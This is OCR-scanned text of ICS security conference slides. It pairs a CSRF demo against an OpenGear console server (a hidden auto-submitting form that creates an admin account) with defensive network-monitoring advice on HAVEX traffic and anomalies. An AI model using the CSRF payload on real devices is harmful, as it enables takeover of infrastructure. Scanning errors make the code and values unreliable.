User-Agent: Mozilla/5.0 (Windows NT €.l; WOWE4) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.3¢
Content-Type: application/x-www-form-urlencoded

DNT: 1
Referer: https://192.1€8.0.1/cgi-bin/index.cgi?form=userssch=0

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;¢=0.8,en;q=0.¢€

Cookie: OgSessionld=15b3a75f43a9712315284330156ffc44; OgSessionld=4edB8e8bhdé4fcfl8l37h957chee387cdl

new.name=newroot&new.description=newroot&groupZ=admin&new.passwvord=passwvord&new.confirm=passwvord&numkeys=0&new.callback.phone=¢&
apply=Apply&form=users&type=user&form=users

|4 ¥

? < - > | | Type a search term 0 matches



OpenGear CSRF

* Solets see if we can CSRF it

<iframe style="display:none" name="csrf-frame"></iframe>

<form method='POST'
action='https://192.168.0.1/?form=users&action=delé&index=4&type=
user&h=0' target="csrf-frame" id="csrf-form">

<input type='hidden' name='new.name' value='CSRFAdminl'>
<input type='hidden' name='new.description' value='CSRFAdmin'>
<input type='hidden' name='new.password' value='password'>
<input type='hidden' name='group2' value='admin'>
<input type='hidden' name='new.confirm' value='password'>
<input type='hidden' name='new.numkeys' value='0'>
<input type='hidden' name='new.callback.phone' value="'"'>
<input type='hidden' name='apply' value='Apply'>
<input type='hidden' name='form' value='users'>
<input type='hidden' name='type' value='user'>
<input type='hidden' name='form' wvalue='users'>
<lnput type='submit' value='submit'>
</form>
<script>document.getElementById ("csrf-form") .submit ()</script>



OpenGear CSRF

0 acm5504-5-Ir-i - Openge: X L] testhtml L R e —
€ C A | & b#ps:.//192.168.0.1/cgi-bin/index.cgi?form=index&h=0 W @ @ ﬁ S ‘%3 =

\ opengear Uptime: 0 days, 0 hours, 32 mins, 57 secs Currer< User: CSRFAdmin1

Dashboard Manage Backup Log Out
Devices

!
|
|
System Name: acm5504-5-r-i Model: ACM5504-5-LR-I Firmrwarer 57150 E % . (x ‘

Status: Dashboard

» Devices UPS Status Auto-Responses RPC Status

» Port Logs No UPSes have been configured No check types selected. Please No RPCs have been configured
» Host Logs configure on the Configure Dashboard

» Power

page

» Terminal

Stat = 2 T
Managed Devices Port Activity

» Port Access

Environmental Status

» Active Users Device  Description/Notes  Related Port Active Users

» Statistics Name Connections No EMDs have been configured

» Support Report To disconnect users, go to Active
» Syslog Users

» UPS Status
» RPC Status ; R -
» Environmental Status Widget is disabled Connection Manager

» Dashboard Connection Groups

Serial & Network = Members Active Cellular Statistics - Internal

» Serial Port Connection Cellular Modem

» Users &'GFO_UDS network- IMEI 358178040633200
» Authentication Network connection-

» Network HostsA Default wan-dhcp- ® Main Network Not Registered
» Trusted Networks Gateway aw (Main) Status

» [Psec VPN '

» OpenVPN RSSI Not detected
» PPTP VPN Connections (dBm)

» Call Home

» Cascaded Ports IP Address Status ECIO (dB) Not detected
» UPS Connections = :

» RPC Connections Network 0.0.0.0 About to Roaming Not Roaming

» Environmental start Mode

3 Mananad Navicac




Robert

IT TAKES
EFFORT FROM

EVERYONE--

—-8UT
DEFENSE IS

DOABLE /




ldeal Layout of a Generic ICS Network
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Typical Layout




Challenges in ICS environments

* Legacy equipment
* Who owns the problem?

 Unmanaged infrastructure
* Who has time?

* Vendor support

* Regulations




NSM in an ICS

NSM and Asset Identification is all about:

— Knowing your network topologies
— Monitoring for changes
— Building off the basics

It does have challenges:
— Isn’t a fix all solution
— Requires people and processes
— Toughest part is buy-in and prep

It does bring value:
— Identify threats
— ldentify misconfigured/failing devices
— Better situational awareness
— Fitsinto larger defense strategy

Why it excels in ICS:
— Static environments
— Less users than an Enterprise
— Less assets than IT networks
— No patches? At least monitor!

Pre-HAVEX

Address 1 Pot =+
172.16.192.30 502
172.16.192.31 502
172.16.192.32 502
172.16.192.33 502
172.16.192.200 49386
172.16.192.200 49387
172.16.192.200 49388
172.16.192.200 49389

Post-HAVEX
Address 1 Port
172.16.192.30 102
172.16.192.31 102
172.16.192.32 102
172.16.192.33 102
172.16,192.33 202
172.16.192.32 302
172.16.192.31 302
172.16.192.30 502
172.16.192.30 11234
172.16.192.31 11234
172.16.192.32 11234
172.16.192.33 11234
172.16.192.30 12401
172.16.192.31 12401
172.16.192.32 12401
172.16,192.33 12401
172.16.192.30 44218
172.16.192.31 44218
172.16.192.32 44818
172.16.192.33 44818
172.16.192.200 49525

172.16.192.200

49526




Safely Capturing Data

Logging enabled and centralized
Network and Memory data are king

Test/lab environment first
— Taps/hubs that fail open
— Install on scheduled down times

Work with vendors to have managed network
infrastructure

Be mindful of network bandwidth usage

At least sample environment manually
— Mirrored port, hubs, taps, etc.



Easy to Use Starter Kit

e 101 matters e Xplico for FTP
— It's not sexy but it works ¢ NetworkMiner/Foremost

— Adversaries are “efficient” — Pull out exe’s, project
and you must kill noise files, etc.
* SecurityOnion « Wireshark to analyse
 Tcpdump to capture — Endpoints
* Flowbat/SiLK to analyse — 1/0 Data
flows — Unusual function codes

¥ Internet Protocol version 4, src: 10.21.22.23 (10.21.22.23), Dst: 10.21.22.253 (10.21.22.253)
+ Transmission Control Protocol, Src Port: asa-appl-proto (502), Dst Port: 48155 (48155), Sseq: 1, 4
-] Modbus /TCP
Transaction Identifier: 1
Protocol Identifier: O
Length: 6
Unit Identifier: 0O
-] Modbus
Function 15: write Mmultiple Coils. Exception: 5lave device failure
Exception Code: slave device failure (4)




Wireshark 1/0 Data

Pre-HAVEX 100
T | T | T T | T [ I I 0
260= 280= 300= 320= 340= 360=
— 100
Post-HAVEX n
MMM B 50
| 0

2640s 2660s 2680s 2700s 2120s 2740s




Firmware Modification in |/O Data

Pre-Firmware Modification

po 120s 140s 160s 180s 200s 220s 240s 260s
During-Firmware Modification
w T "_'I\_A_ll T T /\“\ T | T T
280s 300s 320s 340s 360s 380s 400s 420s 440s




C
C
C
C
C

Key Things to Focus on

entify the top talkers

entify biggest bandwidth users

entify encrypted communications

entify critical assets and normalized traffic

entify network anomalies

— Firmware updates not during scheduled down time
— HMI 1 talking to HMI 2
— Odd data flows, spikes in protocol historical data, new

connections in the ICS, PLCs talking to iran.com



This could be us




We are the love-children of IT and OT

IT and OT integration is unavoidable
Work together and have a plan

Lots of defender narratives exist
Include the vendors

— Force the discussions

— Write it into the contract
— Know who owns what

— Ensure responsibility

Now back to breaking shit

— Stage booze? I'll take an
Old Fashioned please




| am ashamed



We are ashamed



We want you to
be ashamed



Ancient Rome left us roads and concrete.
Han Dynasty China gave us paper and printing.
Edwardian Britain gave us steam engines.
America gave us the internet.

Will we leave our ancestors insecure networks?



Legacy used to mean something different.
It used to mean a gift left to the next generation.

Now legacy system means old and insecure.

Reclaim the word legacy.



Be ashamed to die until
you provide secure
industrial infrastructure
to the next generation



